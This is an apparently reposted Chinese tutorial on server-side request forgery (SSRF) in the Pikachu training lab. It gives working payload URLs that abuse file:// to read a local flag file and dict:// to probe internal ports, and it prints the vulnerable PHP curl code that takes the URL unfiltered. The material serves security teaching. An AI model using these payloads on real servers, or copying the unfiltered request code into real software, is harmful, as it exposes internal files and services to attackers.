本节课视频讲解链接:
https://www.bilibili.com/video/BV1Ch4y1n7Aw/?spm_id_from=333.999.0.0&vd_source=16d23ba7b6eb72e7c4367ba62ab5e2a5
1、漏洞说明
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。SSRF 形成的原因往往是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。如:从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。利用的就是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。
2、漏洞复现
curl命令支持多种协议, 如http、https、ftp、file、gopher协议等。
首先点击第一关的链接,点进去可以看到传递了参数url,此值采用了http协议进行访问。
利用file协议让服务器访问自己本地的文件,构造的payload为:
http://192.168.19.150/pikachu/vul/ssrf/ssrf_curl.php?url=file:///C:/phpStudy/PHPTutorial/flag.txt
利用dict协议扫描3306端口是否开放:
探测3306看到回显信息表示端口开放。
http://192.168.19.150/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306
探测3389看到无回显信息表示端口关闭。
http://192.168.19.150/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3389
3、漏洞代码审计
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}
原文始发于微信公众号(ZackSecurity):【Web渗透入门】11.SSRF漏洞讲解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论